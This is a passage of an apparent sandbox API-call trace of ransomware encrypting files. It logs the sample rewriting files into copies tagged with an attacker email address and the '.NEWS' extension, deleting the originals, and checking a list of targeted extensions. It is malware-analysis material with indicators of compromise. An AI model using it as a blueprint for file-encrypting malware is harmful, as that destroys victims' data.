lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x380, lpOverlapped=0x0) returned 1 [0065.023] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.023] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xea, lpOverlapped=0x0) returned 1 [0065.023] SetEndOfFile (hFile=0x2f4) returned 1 [0065.023] CloseHandle (hObject=0x2f4) returned 1 [0065.045] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.046] SetEndOfFile (hFile=0x31c) returned 1 [0065.047] CloseHandle (hObject=0x31c) returned 1 [0065.047] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.047] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0065.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.048] lstrlenW (lpString=".doc") returned 4 [0065.048] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.048] lstrlenW (lpString=".docx") returned 5 [0065.048] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0065.048] lstrlenW (lpString=".pdf") returned 4 [0065.048] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.048] lstrlenW (lpString=".xls") returned 4 [0065.048] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.048] lstrlenW (lpString=".xlsx") returned 5 [0065.048] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0065.048] lstrlenW (lpString=".ppt") returned 4 [0065.048] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.048] lstrlenW (lpString=".zip") returned 4 [0065.048] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.048] lstrlenW (lpString=".rar") returned 4 [0065.048] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.048] lstrlenW (lpString=".bz2") returned 4 [0065.048] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.048] lstrlenW (lpString=".7z") returned 3 [0065.048] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.048] lstrlenW (lpString=".dbf") returned 4 [0065.048] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.048] lstrlenW (lpString=".1cd") returned 4 [0065.048] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.048] lstrlenW (lpString=".jpg") returned 4 [0065.049] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.049] lstrlenW (lpString=".doc") returned 4 [0065.049] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.049] lstrlenW (lpString=".docx") returned 5 [0065.049] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0065.049] lstrlenW (lpString=".pdf") returned 4 [0065.049] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.049] lstrlenW (lpString=".xls") returned 4 [0065.049] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.049] lstrlenW (lpString=".xlsx") returned 5 [0065.049] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0065.049] lstrlenW (lpString=".ppt") returned 4 [0065.049] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.049] lstrlenW (lpString=".zip") returned 4 [0065.049] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.049] lstrlenW (lpString=".rar") returned 4 [0065.049] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.049] lstrlenW (lpString=".bz2") returned 4 [0065.049] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.049] lstrlenW (lpString=".7z") returned 3 [0065.049] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.049] lstrlenW (lpString=".dbf") returned 4 [0065.049] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.049] lstrlenW (lpString=".1cd") returned 4 [0065.049] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0065.049] lstrlenW (lpString=".jpg") returned 4 [0065.049] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.050] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.050] lstrlenW (lpString="Rotate4.ico") returned 11 [0065.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.051] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=894) returned 1 [0065.051] CloseHandle (hObject=0x31c) returned 1 [0065.051] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0065.051] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.051] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.051] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.052] GetLastError () returned 0x0 [0065.052] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.053] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x380, lpOverlapped=0x0) returned 1 [0065.054] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.055] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xea, lpOverlapped=0x0) returned 1 [0065.055] SetEndOfFile (hFile=0x2f4) returned 1 [0065.055] CloseHandle (hObject=0x2f4) returned 1 [0065.056] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.056] SetEndOfFile (hFile=0x31c) returned 1 [0065.057] CloseHandle (hObject=0x31c) returned 1 [0065.057] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.058] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0065.058] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.058] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.058] lstrlenW (lpString=".doc") returned 4 [0065.058] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.058] lstrlenW (lpString=".docx") returned 5 [0065.058] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0065.058] lstrlenW (lpString=".pdf") returned 4 [0065.058] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.058] lstrlenW (lpString=".xls") returned 4 [0065.058] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.058] lstrlenW (lpString=".xlsx") returned 5 [0065.058] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0065.058] lstrlenW (lpString=".ppt") returned 4 [0065.059] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.059] lstrlenW (lpString=".zip") returned 4 [0065.059] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.059] lstrlenW (lpString=".rar") returned 4 [0065.059] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.059] lstrlenW (lpString=".bz2") returned 4 [0065.059] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.059] lstrlenW (lpString=".7z") returned 3 [0065.059] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.059] lstrlenW (lpString=".dbf") returned 4 [0065.059] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.059] lstrlenW (lpString=".1cd") returned 4 [0065.059] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.059] lstrlenW (lpString=".jpg") returned 4 [0065.059] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.059] lstrlenW (lpString=".doc") returned 4 [0065.059] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.059] lstrlenW (lpString=".docx") returned 5 [0065.059] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0065.059] lstrlenW (lpString=".pdf") returned 4 [0065.059] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.060] lstrlenW (lpString=".xls") returned 4 [0065.060] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.060] lstrlenW (lpString=".xlsx") returned 5 [0065.060] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0065.060] lstrlenW (lpString=".ppt") returned 4 [0065.060] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.060] lstrlenW (lpString=".zip") returned 4 [0065.060] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.060] lstrlenW (lpString=".rar") returned 4 [0065.060] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.060] lstrlenW (lpString=".bz2") returned 4 [0065.060] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.060] lstrlenW (lpString=".7z") returned 3 [0065.060] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.060] lstrlenW (lpString=".dbf") returned 4 [0065.060] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.060] lstrlenW (lpString=".1cd") returned 4 [0065.060] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0065.060] lstrlenW (lpString=".jpg") returned 4 [0065.060] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.060] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.061] lstrlenW (lpString="Rotate5.ico") returned 11 [0065.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.061] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=894) returned 1 [0065.061] CloseHandle (hObject=0x31c) returned 1 [0065.061] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0065.061] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.061] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.062] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.062] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.062] GetLastError () returned 0x0 [0065.062] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.677] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x380, lpOverlapped=0x0) returned 1 [0065.678] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.678] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xea, lpOverlapped=0x0) returned 1 [0065.678] SetEndOfFile (hFile=0x2f4) returned 1 [0065.679] CloseHandle (hObject=0x2f4) returned 1 [0065.679] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.680] SetEndOfFile (hFile=0x31c) returned 1 [0065.680] CloseHandle (hObject=0x31c) returned 1 [0065.680] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.681] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0065.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.681] lstrlenW (lpString=".doc") returned 4 [0065.681] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.681] lstrlenW (lpString=".docx") returned 5 [0065.681] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0065.681] lstrlenW (lpString=".pdf") returned 4 [0065.681] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.681] lstrlenW (lpString=".xls") returned 4 [0065.681] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.681] lstrlenW (lpString=".xlsx") returned 5 [0065.681] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0065.681] lstrlenW (lpString=".ppt") returned 4 [0065.681] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.681] lstrlenW (lpString=".zip") returned 4 [0065.681] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.681] lstrlenW (lpString=".rar") returned 4 [0065.681] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString=".bz2") returned 4 [0065.682] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.682] lstrlenW (lpString=".7z") returned 3 [0065.682] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.682] lstrlenW (lpString=".dbf") returned 4 [0065.682] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.682] lstrlenW (lpString=".1cd") returned 4 [0065.682] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.682] lstrlenW (lpString=".jpg") returned 4 [0065.682] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.682] lstrlenW (lpString=".doc") returned 4 [0065.682] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.682] lstrlenW (lpString=".docx") returned 5 [0065.682] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0065.682] lstrlenW (lpString=".pdf") returned 4 [0065.682] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString=".xls") returned 4 [0065.682] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString=".xlsx") returned 5 [0065.682] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0065.682] lstrlenW (lpString=".ppt") returned 4 [0065.682] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.682] lstrlenW (lpString=".zip") returned 4 [0065.682] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString=".rar") returned 4 [0065.682] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.682] lstrlenW (lpString=".bz2") returned 4 [0065.682] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.682] lstrlenW (lpString=".7z") returned 3 [0065.682] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.683] lstrlenW (lpString=".dbf") returned 4 [0065.683] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.683] lstrlenW (lpString=".1cd") returned 4 [0065.683] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0065.683] lstrlenW (lpString=".jpg") returned 4 [0065.683] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.683] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0065.683] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0065.683] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.684] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=1163264) returned 1 [0065.684] CloseHandle (hObject=0x31c) returned 1 [0065.684] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0065.684] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.684] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.684] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.685] GetLastError () returned 0x0 [0065.685] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0065.710] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0067.136] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x1c010, lpOverlapped=0x0) returned 1 [0067.147] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x1c020, lpOverlapped=0x0) returned 1 [0067.152] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.152] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0067.152] SetEndOfFile (hFile=0x2f4) returned 1 [0067.152] CloseHandle (hObject=0x2f4) returned 1 [0067.905] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.905] SetEndOfFile (hFile=0x31c) returned 1 [0067.906] CloseHandle (hObject=0x31c) returned 1 [0067.907] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0067.935] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0067.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0067.935] lstrlenW (lpString=".doc") returned 4 [0067.935] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0067.935] lstrlenW (lpString=".docx") returned 5 [0067.935] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0067.935] lstrlenW (lpString=".pdf") returned 4 [0067.936] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0067.936] 